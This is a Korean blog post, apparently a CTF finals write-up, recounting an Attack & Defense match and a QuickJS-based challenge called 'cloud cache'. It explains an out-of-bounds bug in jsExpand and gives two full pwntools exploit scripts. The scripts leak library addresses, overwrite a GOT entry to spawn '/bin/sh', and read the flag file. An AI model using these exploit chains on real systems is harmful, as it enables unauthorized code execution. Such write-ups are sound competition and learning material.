컨퍼런스 티켓도 구매했었는데 대회랑 겹쳐서 전날에 구경밖에 못했다. 숙소 1층에서 DEFCON 셔틀이 있어서 그거 타고 라스베가스 컨벤션 센터로 갈 수 있었다. 1, 2일차에는 여러 문제들 보면서 잡다한 버그들 찾다가 상대팀 패치도 분석해보고 공격 패킷도 분석하면서 시간을 보냈다. 2일차에 마지막으로 release된 Attack & Defense 문제중에 cloud cache를 잡았다.

그날 저녁 열심히 익스플로잇 코드 두 개를 준비해서 갔지만 막상 3일차에 본선장에 가서 다른 팀들한테 쏴봤더니 둘다 동작하지 않아서 당황했다. 원래 계획과는 다르게 팀원분이 다른 취약점으로 준비하신 두 개의 익스플로잇 코드를 먼저 쏘셨다. 이대로 쪽박치는줄 알았지만 코드 수정에 성공해서 많은 팀들을 때릴 수 있었다. exploit을 원래 자동으로 날려주는 툴이 있었는데 rate limit이 걸려있어서 사용하지 못했다. 그래서 그때부터 대회 끝날때까지 라운드마다 직접 손으로 쐈다. 첫 라운드엔 MMM 플래그도 따였었는데, 패치가 지연되어서 늦게 올라갔던건지 얼마 지나지 않아 패치되었다. MMM 분들이 패치하자마자 일부 팀들이 백도어 위험을 감수하고 패치를 그대로 적용해버려서 대회 끝날때쯤엔 두 팀 정도를 제외하고 모두 패치되었다.

cloud cache

유저랜드 프로그램은 quickjs 프롬프트가 나오는 방식이고 커널 드라이버가 로드되어서 같이 상호작용한다. 로컬에서 돌리려고 쌩쇼를 하고 있었는데 팀원분이 유저 프로그램에서 oob를 찾아주셨다. 그래서 oob를 통해 dos를 내고 dmesg를 조합하면 뭔가 익스를 할 수 있을것 같았다. 커널쪽 취약점도 따로 있었다고 하는데 그 부분은 다른 팀원분이 익스를 해주셨다.

exploit with dmesg

oob dos + dmesg를 조합해서 릭을 했다. sign extension은 안되고 -1 같은 경우 0xffffffff로 계산되기에 다음 코드는 항상 dos가 난다.

p.sendline('let a = [1.1]; jsExpand(a, -1); a[-3] = 0xdeadbeef')

그리고 js_expand 함수 내부에서 JS_ToInt32로 두번째 인자는 검사를 하는데 첫번째 인자를 검사하지 않아 실질적으로 double을 인자로 주면 이게 주소로 인식이 된다.

   ...
  else if ( (JS_ToInt32)(ctx, &new_len, argv[1].u.ptr, argv[1].tag) )
  {
    return 0LL;
  }
  else
  {
    v5 = new_len;
    v6 = *(argv->u.ptr + 4);
    *(argv->u.ptr + 8) = new_len;
    result = v5;
    *v6 = v5;
  }
  return result;
}

그래서 js_expand 함수 내부 로직을 통해 4 byte aaw가 가능해진다. 그런데 실질적으로 쓰기 연산 자체는 8 byte 단위여서 다른 방법을 찾기로 했다.

# double array 
# element ptr | length
# heap chunk size | element 1 | element 2 ...
# --- normal oob array ---
# contraints : 0x10 aligned & oob 8bytes + type data
p.sendline('let a = [1.1]; jsExpand(a, -1); a[-3] = 0xdeadbeef')

이런식으로 일반 array를 쓰면 내부적으로 64bit value | type data 가 포함된 형태로 저장되었다. 그래서 실질적으로 0x10 aligned 된 쓰기만 가능했다. 읽기를 할때도 항상 tag 검사가 있어서 실질적으로 oob leak이 불가능했다. dmesg로 quickjs.so의 base를 구할 수 있었다. 어떻게 array를 배치해도 메모리 상에서 +0x8 위치에 있는 element pointer를 덮을 수 없었다.

그러다가 Float64Array 같은 type이 지정된 array를 만들면 type 정보가 생략된다는 것을 알았다.


from pwn import *
import base64
context.log_level='debug'
def exploit(ip: str, port: int) -> str | None:
    r_info = remote(ip, port)
    r_info.recvline()
    r_info.recvuntil('telnet ')
    ip, port = r_info.recvline()[:-1].split()
    port = int(port)

    p = remote(ip, port)
    p.sendline('a = [1.1, 2.2]; jsExpand(a, -1); a[-3] = 0xdeadbeef')
    p.close()
    p = remote(ip, port)
    p.sendline('dmesg()')
    while True:
        if p.recvuntil(b'Code: ', timeout=1.5) == b'':
            break
    msg = p.recvuntil(b'undefined')
    quickjs_base = int(msg[msg.find(b'RAX:'):].split()[1],16) - 0x21078
    log.success(hex(quickjs_base))
    libc_base = quickjs_base - 0x229000# - 0x23b000 # local offset
    log.success(hex(libc_base))
    libc_got = libc_base + 0x21a098
    global_ctx = int(msg[msg.find(b'RDI:'):].split()[1],16)
    log.success(hex(global_ctx))
    heap = int(msg[msg.find(b'RSI:'):].split()[1],16)
    target = heap + 0x1bf0
    log.success(hex(target))
    p.close()
    p = remote(ip, port)
    p.sendline('let memory = new ArrayBuffer(8); let view_u32 = new Uint32Array(memory); let view_f64 = new Float64Array(memory); let view_u8 = new Uint8Array(memory); function i64_to_f64(low, high) {view_u32[0] = low; view_u32[1] = high; return view_f64[0];};')
    sleep(0.5)
    p.sendline('let a = new Float64Array(4); a[0] = 1.1; a[1] = 2.2; a[2] = 3.3; jsExpand(a, -1);')
    sleep(0.5)
    p.sendline(f'let b = new Float64Array(4); b[0] = 1.1; b[1] = 2.2; b[2] = 3.3; jsExpand(b, -1); b[13] = i64_to_f64({(libc_got)&0xffffffff}, {libc_got >> 32}); b[0] = i64_to_f64({(libc_base + 0x50d70)&0xffffffff}, {libc_base >> 32}); "/bin/sh";')
    sleep(0.5)
    p.recvuntil(b'undefined')
    p.recvuntil(b'-1')
    p.recvuntil(b'\xfb')
    p.sendline('cat /fla? | base64')
    flag = base64.b64decode(p.recvline()[:-1]).decode()
    return flag

print(exploit('localhost', 9999))

하지만 위 방식의 익스플로잇 코드는 로컬 환경에선 동작했지만 대회장에 가서는 동작하지 않았다. 두 번째 익스플로잇처럼 수정했다면 동작했을 수 있었겠지만, 익스플로잇 수정이 완료되었을 시간엔 거의 패치가 완료되었을 것이라 생각했기에 바로 두번째 익스플로잇을 이용했다.

exploit without dmesg

첫 번째 익스플로잇을 짜다가 발견했던 type 정보 생략을 이용해서 메모리 릭도 자체적으로 수행할 수 있을 것이라고 생각했다. function을 정의해서 할당 관련 함수를 힙에 남기고 이를 릭해서 quickjs.so의 base를 얻을 수 있었다. 대회장에선 동작을 안해서 좀 더 안정적으로 만들기 위해 element pointer를 quickjs.so의 got로 변조해서 libc의 base를 얻도록 수정했다.

from pwn import *
import base64
import struct
def exploit(ip: str, port: int) -> str | None:
    # r_info = remote(ip, port)
    # r_info.recvline()
    # r_info.recvuntil('telnet ')
    # ip, port = r_info.recvline()[:-1].split()
    # port = int(port)

    p = remote(ip, port)
    sleep(3)
    p.sendline('let memory = new ArrayBuffer(8); let view_u32 = new Uint32Array(memory); let view_f64 = new Float64Array(memory); let view_u8 = new Uint8Array(memory);')
    sleep(0.5)
    p.sendline('let a = new Float64Array(4); a[0] = 1.1; a[1] = 2.2; a[2] = 3.3; jsExpand(a, -1);')
    sleep(0.5)
    p.sendline(f'let b = new Float64Array(4); b[0] = 1.1; b[1] = 2.2; b[2] = 3.3; jsExpand(b, -1); console.log("lk:"+b[13]);')
    p.recvuntil(b'lk:')
    lk = float(p.recvline()[:-1])
    object_elemnt_ptr = struct.unpack('<Q', struct.pack('<d', lk))[0] 
    log.success(hex(object_elemnt_ptr))
    p.sendline('let f = () => {return 1;};')
    sleep(0.5)
    p.sendline(f'console.log("lk:"+b[{0x48}]);')
    p.recvuntil(b'lk:')
    lk = float(p.recvline()[:-1])
    quickjs_base = struct.unpack('<Q', struct.pack('<d', lk))[0] 
    if quickjs_base == 0:
        log.info('leak failed. retrying ...')
        sleep(0.5)
        p.sendline(f'c = console.log; console.log("lk:"+b[{0x4e}]);')
        p.recvuntil(b'lk:')
        lk = float(p.recvline()[:-1])
        quickjs_base = struct.unpack('<Q', struct.pack('<d', lk))[0] 
        if quickjs_base == 0:
            for i in range(10):
                log.info(f'trying - {i}')
                sleep(0.3)
                p.sendline(f'c = console.log; console.log("lk:"+b[{0x48 + i}]);')
                p.recvuntil(b'lk:')
                lk = float(p.recvline()[:-1])
                quickjs_base = struct.unpack('<Q', struct.pack('<d', lk))[0] 
                if quickjs_base & 0xf30 == 0xf30:
                    break
    assert quickjs_base != 0
    
    quickjs_base -= 0xff30
    quickjs_got = quickjs_base + 0xa9068 # free 
    log.success(hex(quickjs_got))
    p.close()

    p = remote(ip, port)
    sleep(3)
    p.sendline('let memory = new ArrayBuffer(8); let view_u32 = new Uint32Array(memory); let view_f64 = new Float64Array(memory); let view_u8 = new Uint8Array(memory); function i64_to_f64(low, high) {view_u32[0] = low; view_u32[1] = high; return view_f64[0];};')
    sleep(0.5)
    p.sendline('let a = new Float64Array(4); a[0] = 1.1; a[1] = 2.2; a[2] = 3.3; jsExpand(a, -1);')
    sleep(0.5)
    p.sendline(f'let b = new Float64Array(4); b[0] = 1.1; b[1] = 2.2; b[2] = 3.3; jsExpand(b, -1); b[13] = i64_to_f64({(quickjs_got)&0xffffffff}, {quickjs_got >> 32}); console.log("lk:"+b[0]);')
    sleep(0.5)# = i64_to_f64({(libc_base + 0x50d70)&0xffffffff}, {libc_base >> 32}); "/bin/sh";
    p.recvuntil(b'lk:')
    lk = float(p.recvline()[:-1])
    libc_base = struct.unpack('<Q', struct.pack('<d', lk))[0] - 0xa53e0
    log.success(hex(libc_base))
    libc_got = libc_base + 0x21a098
    p.close()

    p = remote(ip, port)
    sleep(3)
    p.sendline('let memory = new ArrayBuffer(8); let view_u32 = new Uint32Array(memory); let view_f64 = new Float64Array(memory); let view_u8 = new Uint8Array(memory); function i64_to_f64(low, high) {view_u32[0] = low; view_u32[1] = high; return view_f64[0];};')
    sleep(0.5)
    p.sendline('let a = new Float64Array(4); a[0] = 1.1; a[1] = 2.2; a[2] = 3.3; jsExpand(a, -1);')
    sleep(0.5)
    p.sendline(f'let b = new Float64Array(4); b[0] = 1.1; b[1] = 2.2; b[2] = 3.3; jsExpand(b, -1); b[13] = i64_to_f64({(libc_got)&0xffffffff}, {libc_got >> 32}); b[0] = i64_to_f64({(libc_base + 0x50d70)&0xffffffff}, {libc_base >> 32}); "/bin/sh";')
    sleep(0.5)
    p.recvuntil(b'undefined')
    p.recvuntil(b'-1')
    p.recvuntil(b'\xfb')
    # p.sendline('rev /flag')
    # p.sendline("cat /flag")
    p.interactive()
# context.log_level='debug'

import sys
(exploit(f'10.10.{sys.argv[1]}.1', int(sys.argv[2])))

이런식으로 매 라운드마다 팀원분들과 함께 열심히 다른팀에 쐈다. 이거 말고도 몇 가지 quickjs 1-day도 다 먹혔다고 하는데 시간이 없어서 1-day 익스는 짜지 못했다.